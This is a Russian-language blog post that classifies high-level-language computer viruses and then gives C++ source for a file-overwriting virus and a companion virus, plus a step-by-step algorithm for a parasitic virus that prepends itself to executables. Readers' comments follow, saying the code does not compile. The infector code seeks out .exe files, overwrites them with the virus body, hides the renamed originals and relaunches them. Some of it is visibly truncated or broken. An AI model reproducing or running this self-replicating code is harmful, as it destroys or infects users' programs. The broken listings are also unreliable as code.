Познавательный блог  

Поиск по сайту

Гугль

Архивы

Исследование технологий HLL* Вирусов на C++

HLL* — High Level Language Virus , написанные на языках высокого уровня, в большинстве случаев имеющие большой размер (порядка 50-300 Кб).
Языками высокого уровня называют все языки программирования кроме ассемблера. Так как на ЯВУ хорошо писать только червей и троянов, так и поэтому шанс выжить у зверков не так уж и высок. Хотя все зависит от кода, да и запаковать файл не сложно. Всяких утилит сейчас полно. Однако если паковать файл, то могут возникнуть проблемы с заражением файлов. Итак, расскажу какие монстры бывают и на какие делятся группы:

HLLC — High Level Language Companion viruses. Компаньон-вирусы (companion). Вирусы, не изменяющие файлы. Алгоритм работы этих вирусов состоит в том, что они создают для EXE-файлов файлы-спутники, имеющие то же самое имя, но с расширением .COM, например, для файла XCOPY.EXE создается файл XCOPY.COM. Вирус записывается в COM-файл и никак не изменяет EXE-файл. При запуске такого файла DOS первым обнаружит и выполнит COM-файл, т.е. вирус, который затем запустит и EXE-файл. Однако есть и другие способы. Можно заменять собой тело жертвы, а саму программу копировать в файл с таким же именем, но с расширением .com, а затем и запускать его. Но эти вирусы совершенно не приспособлены к злому внешнему миру, как и их друзья HLLO.
HLLO: High Level Language Overwriting viruses.
Вирусы оверврайтеры. Ищут файлы и записываются вместо них.
Это вообще элементарные вирусы, которые существуют для обогащения антивирусных компаний. (Касперский не обижайся ;) мы все понимаем).
В конце я приведу несколько примеров вирусов на языке с++. С описаниями для первых трех видов.

HLLP High Level Language Parasitic viruses. Вирусы паразиты.
Записываются в конец или начало файлов, зараженные файлы остаются работоспособными. Вот и они звери похожие на вирусы. Эти вирусы могут заражать рабочие файлы несколькими методами,
но большинство этих методов реализуемы только на ассемблере. Поэтому я приведу только метод сдвига.

HLLS High Level Language S viruses. Вирусы симбиозники.(как сифилезники) ;).
Честно говоря, я не знаю, как переводятся S вирусы. Но скажу, что большинство этих вирусов заражают исходные коды программ своим кодом. В одном из вирмейкерских журналов DVL я прочитал статью о таком вирусе, и он был прародителем этого вида зверей. Он заражал своим кодом TP и PAS файлы.
Своего рода полиморфик. Меняющийся за счет компиляции с чужими программами и случайными директивами.
Вобщем модули программ на паскале. На с++ такое вполне реализуемо.
Теоретически можно подумать, что S это Source. Но в статье написано (симбиоз). Так что думайте сами.

HLLW — High Level Language W viruses. Вирусы черви или трояны, их описания нет ни в одной антивирусной энциклопедии. Это большая куча вирусов, которые используют редкие методы распространения и заражения. Следует учесть, что антивирусники тоже ошибаются. Из журналов я понял, что эти вири строго не различаются.
Есть особи, размножающиеся через ДОС функции, они могут лезть в архивы в тексты. Да кругом.
Авторы иногда придумывают весьма странные методы размножения. Этот вид вирей можно назвать - Не вошло в другие разделы.

Ну, на этом теоретическая часть заканчивается и начинается практическая.
Я написал несколько демонстрационных вирусов на с++ (Компилировал в Билдере 6.0).

Все исходники достаточно хорошо откомментированы и понять их не так уж и сложно знающему си.
Далее я приведу алгоритмы описанных мной вирусов для ознакомления и понимания методов их работы.

ПОМНИТЕ НАПИСАНИЕ ВИРУСОВ ПРЕСЛЕДУЕТСЯ ПО ЗАКОНУ.

I)HLLO Первым я опишу вирус-оверврайтер -

  1. Найти все файлы exe или com в папке.
  2. Пророверить на заражение (если размеры совпадают).
  3. Заменить тело жертвы на свое.
  4. Выйти.

Все достаточно просто и думаю ни раз приходило вам в голову. Идея проста до безобразия,
но несмотря на слабую надежду выжить, нативирусники всеже их детектируют.

Вот код :

#include "windows.h"
#include "dir.h" //Стандарнтые Директивы препроцессора(хеадер
#include "stdio.h" //файлы, они нужны для использования определенный хункций

#pragma hdrstop //Обработчики ошибок
#pragma argsused

#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введете свой)

void VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
{
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if ((strcmp(vir,tmp)) return 0;
SRC = fopen(vir, "rb"); //Считывем тело вируса
if(SRC)
{
DST = fopen(tmp, "wb"); //Считываем тело жертвы
if(DST)
{
for (v=0;v
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
}
}
}
fclose(SRC);
fclose(DST);
}

WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char virname[256]; //Переменные
GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
struct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst("*.exe",&ffblk,0);
while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
{
VirusOver(virname,ffblk.ff_name); //Заменяем
done = findnext(&ffblk); //Если есть еще файлы продолжаем заражение
}
}

II) HLLC Теперь вирусы-компаньоны -

  1. Найти все файлы exe в папке.
  2. Проверить на заражение (есть ли файл с именем *.com).
  3. Жертву переименовать в *.com.
  4. Скопировать вирус под именем жертвы.
  5. Получить имя своего файла
  6. Запустить файл с таким же именем как у тебя, но с расширением *.com.
  7. Выйти.

В результате при запуске зараженной программы по ссылке или непосредственно по файлу выполняется вирус с именем программы, затем вирус после выполнения ищет в папке файл со своим именем, но с расширением COM и запускает его.
При заражении стоит пауза от глюков каждую секунду заражается 1 файл, предусмотрена защита от самозаражения, что часто приводит к глюкам и жрет оперативку. К сожалению иконка файла не сохраняется.
Но это компенсируйте какой-нибудь другой иконкой! Типа [txt].

Вот код :

#include "windows.h"
#include "dir.h" //Стандарнтые Директивы препроцессора(хеадер
#include "stdio.h" //файлы, они нужны для использования определенный функций
#include "io.h"

#pragma hdrstop //Обработчики ошибок
#pragma argsused

#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введёте свой)

int file_exists(char *filename)
{
return (access(filename, 0) == 0);
}
//----------------
VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
{
char kill[256];
unsigned int i;
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if(strstr(vir,tmp)) return 0; //Смотрим не мы ли это сами хотим себя заразить??
strcpy(kill,tmp); // kill = NAME.exe
kill[strlen(tmp)-1]= 'm'; // kill = NAME.com
kill[strlen(tmp)-2]= 'o';
kill[strlen(tmp)-3]= 'c';
if(file_exists(kill)) return 0; //Проверка на существование заразы
CopyFile(tmp,kill,true); //Копируем жертву в COM ...
SetFileAttributes(kill, FILE_ATTRIBUTE_HIDDEN);
SRC = fopen(vir, "rb"); //Считывем тело вируса
if(SRC)
{
DST = fopen(tmp, "wb"); //Считываем тело жертвы
if(DST)
{
for (v=0;v!=Counter;v++)
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
}
}
}
fclose(SRC);
fclose(DST); // tmp = NAME.exe

delete kill,tmp,i,Buffer,v,Counter,*SRC, *DST;
return 0;
}
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char virname[256]; //Переменные
char zapas[256];

SetErrorMode(SEM_NOGPFAULTERRORBOX); //Опять с ошибками но это не трогаем!
PeekMessage(NULL, NULL, NULL, NULL, NULL);

GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
GetModuleFileName(hInstance, zapas, 256); //Запаска имени виря для запуска

struct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst("*.exe",&ffblk,0);

while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
{
VirusOver(virname,ffblk.ff_name);
Sleep(1000); //Замедляем программу от тормозов компа
done = findnext(&ffblk); //Если есть еще фалйы продолжаем заражение
}

zapas[strlen(zapas)-1]= 'm';
zapas[strlen(zapas)-2]= 'o';
zapas[strlen(zapas)-3]= 'c';

WinExec(zapas,SW_SHOW);
return 0;
}

И вирусы-паразиты.
III) - HLLP Это поинтереснее. Привожу метод сдвига.

  1. Открыть файл, с которого мы получили управление.
  2. Считать в буфер тело вируса.
  3. Закрыть файл.
  4. Найти файл-жертву (для данного подвида лучше .COM, но можно и не слишком большой .EXE - это связано со считыванием ВСЕГО тела инфицируемой программы в память, которой может не хватить, если инфицируемая программа слишком большая).
  5. Открыть файл-жертву.
  6. Проверить файл на повторное заражение (у каждого эта процедура может быть своя, в основном используется метка).
  7. Если файл уже инфицирован, перейти к пункту 4.
  8. Считать в буфер ВСЕ ТЕЛО программы.
  9. Записать в начало файла тело вируса из буфера.
  10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличится на длину вируса.
  11. Закрыть файл-жертву.
  12. Открыть файл, с которого мы стартовали.
  13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.
  14. Создать на диске временный файл с расширением .COM или .EXE (в зависимости от того, какой тип программ мы заражали).
  15. Записать в этот файл тело программы из буфера.
  16. Закрыть созданный файл.
  17. Процедурой Exec запустить созданный файл на исполнение - выполнится инфицированная программа.
  18. По завершению работы программы созданный файл удалить.
  19. Вернуть управление в ДОС.

Исходника компаньона у меня нет, я его написать не смог по причине учёбы и лени!

Приводить алгоритмы остальных видов вирусов я не буду, дабы не ошибиться, едь их огромное множество и они все разные. А поскольку вирусология - молодая наука, то вам еще исследовать и исследовать.

Статья написана исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгорытмы работы вирусов были выявлены при декомпиляции найденных в интернете вирсуов и на сайте Лаборатории Касперского.

Комментарии

Комментарий от человек [ Июнь 17, 2008, 16:40 ]

Тока нифига не компилируется, автор видимо не проверил на ошибки.

Комментарий от Виктор [ Сентябрь 12, 2009, 00:24 ]

почему ты не закончил эту строчку

Комментарий от admin [ Апрель 25, 2012, 11:10 ]

Если не компилируется проверяем на ошибки с кавычками, wordpress любит их уродовать

Комментарий от илья [ Июнь 21, 2012, 14:54 ]

большой хм (непойму зачем вы использовали винайпи если даже окнане создавали это все делается проще

Написать комментарий








Страницы

Свежие записи

Гугль

Мета

Счетчики


Rambler's Top100

Рубрики

  Разработка и дизайн — StvPromo.ru